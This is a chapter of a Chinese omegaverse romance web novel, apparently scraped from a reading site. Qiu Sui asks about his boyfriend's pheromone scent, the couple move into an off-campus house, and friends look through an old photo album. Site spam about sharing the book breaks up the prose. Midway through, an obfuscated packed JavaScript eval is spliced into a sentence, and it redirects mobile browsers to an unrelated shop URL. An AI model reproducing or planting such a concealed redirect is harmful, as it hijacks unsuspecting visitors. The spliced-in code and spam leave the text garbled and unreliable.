alpha原本放松的神情几乎在秋绥话音落下间微不可闻地一僵,跟身下那双灵动的眼睛对视时神经瞬间变得警醒。
他手上帮秋绥按摩的节奏不由自主的乱了心跳也有些错拍加速但秋绥没察觉出沈执霄微妙的变化,还在笑着用手指去勾沈执霄的下巴。
他像是在调戏人,这么逗自己男朋友见沈执霄没答话还轻“嗯?”了声,用脑袋去撞沈执霄的大腿。
沈执霄表面平静地伸手去护秋绥乱动的脑袋,大脑正在快速而清晰回忆着所有暂忘的细枝末节。
直到想起一件留下信息素的迷彩外套,他的指尖霎时如同血液倒流般变得冰凉僵硬。
但留给沈执霄错神惊慌的时间并不多他听到秋绥再次疑惑地低哼很快地回过神故作轻松朝对方笑了下。
沈执霄唇角扬起的弧度没有往常那么自然秋绥还没来得及看仔细就被对方托着脑袋吻住了口腔瞬间被alpha强势的气息填满。
他的唇舌被轻柔的搅弄着,有些舒服地眯起眼不自觉仰着下巴温吞回应沈执霄,短暂的把刚才的话题抛到脑后,沉浸在这亲昵缠绵的湿吻中,睫毛垂闭着发出细微颤抖。
沈执霄感受着秋绥的体温、呼吸、每一丝神态变化,日思夜想的人就在他的怀里成为了他的恋人未来他们会一起度过每一个易感期会见家长,会结婚……
明明这一切都将圆满了然而秋绥只是一句普通的疑问就将这预想的幸福敲出了一丝裂痕。
沈执霄僵硬地绷着肩膀清楚的意识到曾经的冲动给他带来了巨大的麻烦,甚至那一次脑热做出的举措可能给他留下了一道隐形的隐患……
他心里无法遏制地产生了危机感。
秋绥知道那件迷彩外套上面有信息素吗?
训练时会有人告诉他吗?
沈执霄对自己曾经的行为感到焦躁他以为自已不会后悔他情有可原他只是太生气了但此刻却产生了巨大的恐慌。
不能不能失去秋绥他好不容易拥有对方。
沈执霄低头跟秋绥深吻时大脑恐慌的高速运转着想要在这短暂的时间里找到一个应对的对策。
捏造一个虚假的信息素告诉秋绥。
沈执霄大脑混乱间陡然冒出了这个念头。
只要不让秋绥知道他真正的信息素味道
但这么做不仅仅代表着秋绥将永远不知道爱人真正的信息素味道也代表着他以后将不能在秋绥身上留下任何一丝信息素向其他人宣誓**。
他不能再让秋绥沾上他的信息素出门因为任何一个人感
你的朋友正在书荒,快去帮帮他吧
受到秋绥身上的信息素味道都有可能让他身份暴露,甚至如果以后秋绥突然带着朋友回家,家里也可能存在暴露的危机。
他的信息素只能和秋绥保持隔绝。
不。
不可以。
想到这里沈执霄又有些急躁地否决了这个念头,他托在秋绥脑后的手指不自觉地发出了细微颤动,亲吻的力道也越来越重。
秋绥被亲得有些吃力了,手指虚虚勾着沈执霄的耳朵,喉咙里发出很轻的哼声。
一吻结束时因为缺氧他脑袋还有些晕乎,没想明白怎么从一句问话变成热吻了。
沈执霄抵着他的额头轻轻的厮磨,鼻尖偶尔跟秋绥相碰,珍惜地吻着秋绥唇角,说话的声音轻轻:“我……不想这样让你知道我的信息素。”
秋绥大口地喘着气,听沈执霄的声音还有些不真切,温笑着小声疑惑:“为什么?”
沈执霄柔情似水地望着他,眼里像是藏着说不清的东西,说话声音有些低,几乎都是气音,语速有些缓慢:“我想让你能够直接感受到我信息素味道。”
秋绥理解着沈执霄话里的意思,眼睛缓缓眨动,温声细语问:“那怎么办呀?我闻不到……”
“可以闻到的,提取我的信息素做成香水就好了。”沈执霄低声说着,掌心从秋绥的后脑一点点地挪到秋绥的脸颊上,拇指亲昵地抚动着秋绥温热的皮肤,气息里藏着微不可闻的恐慌,轻声补充:“但技术有些不成熟,可能需要点时间。”
需要一点时间让他做好解释的准备……
秋绥还没听说过信息素可以直接做成香水,虽然他想闻到沈执霄的信息素,但害怕这样会有风险,担心地说:“对身体有伤害就算了,我可以去买一瓶跟你信息素味道一样的香水……”
“不好。”沈执霄埋在秋绥的颈窝里,声音有些沉闷:“那还是跟我的信息素味道不一样。”
秋绥好想知道沈执霄的信息素味道,或许学校里或多或少有人闻到过沈执霄的信息素味道,但他作为沈执霄的对象,不仅闻不到还不知道沈执霄的信息素是什么。
秋绥想到这里有点郁闷,但沈执霄很快偏头贴着他的侧颊吻了吻,轻哄道:“提取信息素对身体的伤害不大的,只是需要些时间,宝宝。”
秋绥这么听才有点动摇,低低哦了声,侧头去碰沈执霄的鼻梁:“要很久吗?”
沈执霄带着惶恐和不安抿压了下唇角,很轻地摇了下头。
“半个多月就能弄好。”他望着秋绥乌亮的眼睛,垂眼微微笑了下,莫名有种忐忑的错觉,低声道:“宝宝到时候闻到香水应该就知道我的信息素是什么味道了,希望你会喜欢……”
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
秋绥不禁低笑出声,那双眼睛微微弯动留下一道浅浅的眸光:“你是什么味道我都会喜欢。”
“真的吗?”沈执霄也跟着笑了下,心里的沉闷消散了些许,掐着秋绥的脸颊故意逗他:“香菜味也喜欢?”
秋绥对大多数食物保持着喜欢、无感,能吃就行的感觉,只有极小部分会让他感到讨厌。
香菜就是其中之一。
要是遇到了放香菜的食物,多的话秋绥真的会不吃,少的话他会秉承着不浪费食物的念头,忍着把全部香菜都挑出来再吃。
秋绥听出了沈执霄语气里的调侃,闻言顿时张牙舞爪,撑着床要去抓沈执霄的脖子。
他没有用力,双手环托着对方的脖颈没好气地左右晃,把沈执霄晃得发丝凌乱眉开眼笑,最后又松开,重新躺回沈执霄腿上,有点忸怩地低声道:“你的话,勉强可以接受……”
alpha开怀的笑容一顿,低眉顺眼地望着秋绥,第一瞬间感受到竟不是喜悦而是隐隐的低闷。
他垂着头,虽然是笑着,但唇角的弧度却没有往常那么上扬。
秋绥还沉浸在自己的不好意思中,缩着脑袋没有去看沈执霄的脸。
秋绥对能闻到沈执霄的信息素味道十分期待,知道日期后,顺便在台历的二十五号上画了个圈。
海市的十二月已经入冬,出门穿羽绒服几乎是必备品。
臃肿的长装往身上一套,不论是什么身材都变成了一个长条,两个人穿着长羽绒服站一块就像两根烤肠。
就算秋绥想要风度,几度的天气也没力气捯饬自己,每天老老实实裹着羽绒服叩着连体的帽子就出门。
即便这样,沈执霄看着也不太满意,捞了把秋绥空荡荡的脖颈,过了两天就织了一条围巾给秋绥圈上了。
沈执霄是现看教程现学的,技术勉勉强强,秋绥可算找到他不擅长的地方了,看着那条针线好几处打叉的围巾乐得不行,而且围巾最下方还专门绣了两个人的名字英文缩写。
虽然不是特别完美,但秋绥很喜欢,出门都会戴上。
沈执霄看久了其实也觉得织得有点丑,又去专柜定了围巾,因为绣字多花了几天,才把新围巾挂到秋绥脖颈上,想要把原先那条换下来。
“诶。”秋绥见状叫了声,双手死死护着脖子上针织围巾,“我戴了还没一周呢。”
沈执霄勾着他的手,把新围巾亮到秋绥面前,温声劝道:“这条围巾戴着会比较好看。”
秋绥认真打量了会儿,专柜的围巾嘛,做工当然比较精细,每根细线都流畅地排列着,字也绣得特别漂亮。
虽然一样是秋绥喜欢的颜色,但他还是没同意换下来,只
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
低低哼了两声:“这又不是你织的……”
沈执霄闻言动作一顿眉开眼笑起来最后还是没有强求秋绥换了把那条新围巾叠进秋绥的柜子里。
新围巾秋绥也不是没戴留着落灰只是更常戴沈执霄亲手织的那条偶尔出门会把新围巾裹上。
入冬之后去上课更艰难了校内的接驳车每天都是人满为患大家都不怎么喜欢骑车走路又觉得远。
秋绥天气一冷容易睡懒觉每次起床都要一番挣扎沈执霄会准点刷卡进门来找他把他从床上拔起来。
秋绥以前高中天冷都会自己强行起床但跟沈执霄谈恋爱后不自觉产生了依赖性每天等着沈执霄把他捞起来然后再迷迷糊糊套上衣服去洗漱从阳台进屋后再被沈执霄掐着脖子抹上一层面霜。
秋绥以前都不怎么用着玩意儿他觉得自己虽然脸皮薄
这个点楼下接驳点已经排满队了如果去附近食堂吃早餐再继续等车估计得迟到幸好沈执霄用早餐机做了三明治。
秋绥被抽骨头似的靠在沈执霄的肩膀上埋头吃三明治。
他也尝试过给沈执霄做过一回结果没控制好时间把面包烤黑了吃起来又苦又干后面就没好意思再尝试了。
小公交塞了不少人开走了两人要等下一趟附近等车的人还是很多除非争先恐后去抢不然只能站着了。
听沈执霄说温珩带着对象跑到了外面住完全没这个烦恼每天在外头吃了早餐自己开车进学校时间十分宽裕让秋绥不由得有点艳羡。
“我们也去外面住吧宝宝。”等车时沈执霄低头碰着他的脑袋忽然低声说道。
秋绥闻言还有点没反应过来的啊了下而后才仰脸跟沈执霄对视下意识以为沈执霄的意思是回江边的公寓住不禁道:“学校离公寓有点远诶。”
沈执霄笑了下很轻摇头温声道:“不是那里是去附近那栋老洋房。”
“我已经让人把里面清理好了一层健身区也改到了三层去那就能住。”
他说着搭在秋绥腰间的手隔着厚厚的羽绒服轻轻捏了下秋绥的腰神色认真而期待地轻声请求:“我们去校外同居吧这样每天去上课就不用这么麻烦了。”
秋绥这么听其实有些心动不自觉地咬动自己的嘴唇他犹豫地思考着最后唔了声算是同意的意思:“那水电费什么的我来交你都找房子了。”虽然就算沈执霄自己的房子。
秋绥觉得谈恋爱付出才有成就感就像他周末去沈执霄的公寓住买菜逛街就得他来结
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
帐一样。
沈执霄喜欢他去公寓住,他也喜欢自己花钱买东西和沈执霄一起使用,都是表达喜欢的一种方式,跟多少没有关系。
沈执霄了解秋绥的习惯,并没有跟秋绥争论,最终顺从地说好哦,宝宝。
秋绥这时候发觉出不对劲了,原本有些冻冷的脸颊瞬间热红,伸手去捂沈执霄的嘴,顾及着四周,有些咬牙切齿的小声警告:“在外面呢,不能这么叫!
alpha显然是故意的,胸腔顿时发出一道道低闷的笑声,气息打得秋绥掌心高热。
秋绥不禁没好气地用胳膊肘去撞沈执霄的腰,隔着厚重羽绒服,力道跟猫挠痒痒似的,很没用威力。
虽然老洋房那边已经收拾好了,拎包就能入住,但秋绥还是磨蹭到了周末,周日下午才收拾行李箱跟沈执霄搬进去。
那间老洋房室内占地一百多平,外带一个七十多平小花园,花园已经被重新打扫布置了一遍,摆放了新的盆栽鲜花。
秋绥傍晚二楼从阳台往下看,觉得花园景色很舒适。
入冬之后天色很快就黑了,秋绥在阳台没站太久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737918|180571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外面的可见度就下降了,他走回了室内,沈执霄正在一层的厨房切菜准备晚餐。
秋绥扶着旋转楼梯缓慢地下楼,在楼梯上就能看到半开放式厨房里沈执霄的背影。
明明只是普通又寻常的画面,他的心里莫名得冒出了一丝恍惚的想法,好像他们已经这么温馨的生活了很久,未来也会这么平常而温情继续过下去,一直到生命的尽头。
秋绥缓慢地抖动了下睫毛,忽然被口袋里的消息铃声惊醒,他从沈执霄的身影中收回目光,唇角还带着不由自主地淡笑,掏出自己的手机去看,发现是乔可然的消息。
对方发来了一堆**的表情包,秋绥回消息时这人还在发。
秋绥:怎么啦?
乔可然:猫拳.jpg
乔可然一个没收住,多发了一个表情包,而后才啪啪打字,开门见山道:敢问你还记得大明湖畔的相册吗?
秋绥看清他的消息不禁愕然,因为他真忘了这件事。
国庆假期结束返校后光顾着跟沈执霄拉扯,他一下子就把给乔可然送相册抛到了脑后,乔可然又没有提醒,他每天顾着跟沈执霄谈恋爱,完全没再想起来。
乔可然其实也没想起来,要不是今天秋瞬找他问相册,他才记起来秋绥的相册还没给自己。
现在十二月即将过半,一月下旬都要放寒假了,那相册还不如寒假他直接跑到秋绥家看呢!
乔可然不急着看了,但秋瞬想翻一翻。
秋瞬一直以为相册已经在乔可然手里了,这天不忙找乔可然要相册时才知道
听说看这本书的人都是很幸运的,分享后你的运气会更棒
相册还在秋绥手里,于是乔可然开始发消息轰炸秋绥了。
秋绥顿时向两人负荆请罪,保证这周就把相册送过去。他的相册没带出门,还在宿舍储物柜里放着。
说起来还没给沈执霄看过自己以前的照片呢,秋绥抱着手机聊天时突然心道,但想道自己小学的长发照片,他顿时又有点不好意思把相册给沈执霄看了。
还是以后再给沈执霄看吧。
……
这天没课有空,秋绥没跟往常一样陪着沈执霄一起去上课,先带着相册去找秋瞬和乔可然。
乔可然见到他嘿得一声,像个炮弹似的笑着冲过来撞他的肩膀,唰得一下就把秋绥手里的相册拿了。
他本来没那么想看了,但相册都出现在面前,兴致也跟着上来了,直接摊在桌上翻看了起来,前面好几面都是秋绥和秋瞬留着长发的小学一二年级的照片,他看一眼都乐得不行。
秋绥那时候五官没长开,是跟秋瞬长得最像的时期,两人留着长发站在一起一眼就能看出来是双胞胎,但很容易被认错性别。
秋瞬挺久没看这相册了,上次看还是在高一,也是乔可然嚷着想看才感兴趣一起看了几眼。
他在乔可然身边撑着下巴一起看相册,在乔可然指着照片里面其他人疑惑的时候,顺便解答。
秋绥把相册送过来就算完成了任务,这会儿坐在对面咬着吸管陪沈执霄聊天。
“嘿,这是不是有张照片装反了?
那照片的尺寸比其他的照片要小,似乎不是秋绥洗出来的。
乔可然举着小照片的正面放到面前,仔细端详了几眼对方的神态,没忍住指着里面比秋绥矮半节的小胖墩,笑问:“这是谁啊?我认识吗?
秋瞬闻言往那照片扫了眼,眉梢很轻地扯动了下,尘封的记忆只闪了一刹那,没能答上来。
见秋瞬有点没印象,乔可然便把照片举到了秋绥面前,毕竟这位才是照片里另一位主人公。
秋绥刚打字把叫沈执霄下课一块过来吃饭的消息发出去,抬头差点被那照片吓一跳。
他盯着小照片懵懵地眨了下眼,朝照片里牵着自己手的小胖墩面容认真看了看。
对方拍这张照片的表情很傲慢,肉肉的脸上眉毛微微竖着,眼睛轻蔑地眯成了一条缝,看起来很欠揍。
秋绥大脑缓慢地运转着,微微想起什么地哦了声:“你不认识,这好像是我跟秋瞬五年级暑假参加夏令营的时候认识的,名字好像是叫呃……
说着,他思考地停顿了下,不太确定地说
听说看这本书的人都是很幸运的,分享后你的运气会更棒
:“叫睿安?我有点不记得了,只知道是个英文名。”
乔可然哈了声,没忍住更乐了,哈哈笑:“外国人啊?看起来有点不像啊。”
“不是外国人……”秋绥否认道,回忆着有些浅薄的记忆,九、十岁的事情对他来说有点久远了。
他参加过那么多活动和比赛集训,早就有些混乱不清了,甚至也对这个夏令营里合照的很多人都没有印象了,但这个小胖子他还有记忆,因为对方实在脾气太别扭太难缠了,“我记得他告诉过我中文名和联系方式,但是那张纸条我只看了几眼就弄丢了,后面没记住……”
对面的秋瞬听到这里逐渐有记忆,画面里模糊看着那个小胖墩冲到自己和秋绥面前,往秋绥手里塞了一团纸,仰头趾高气昂地说了几句话就匆匆跑了,那张纸条他跟秋绥一起打开看过,上面好像写着……
“我当时其实答应过回家用我爸的手机加他好友的,但是纸条丢了,没记住他的电话号。”秋绥还在说话,他有种记忆逐渐复苏的趋势,对照片里的人印象开始变得清晰,但还是没想起来那张纸条上面的中文名。
乔可然闻言啊了声,开玩笑:“那他会不会突然半夜起来想你为什么不加他好友啊哈哈哈。”
他说着,正准备将照片插回相册里,一旁的秋瞬却突然伸手将照片接了过去。
他目光从眼睛、鼻梁、嘴巴认真地扫了几眼,还没等乔可然发出疑惑,冷着脸将照片塞回了相册里。
-----------------------
作者有话说:来晚了,码到一半被人叫走了,跪[求求你了]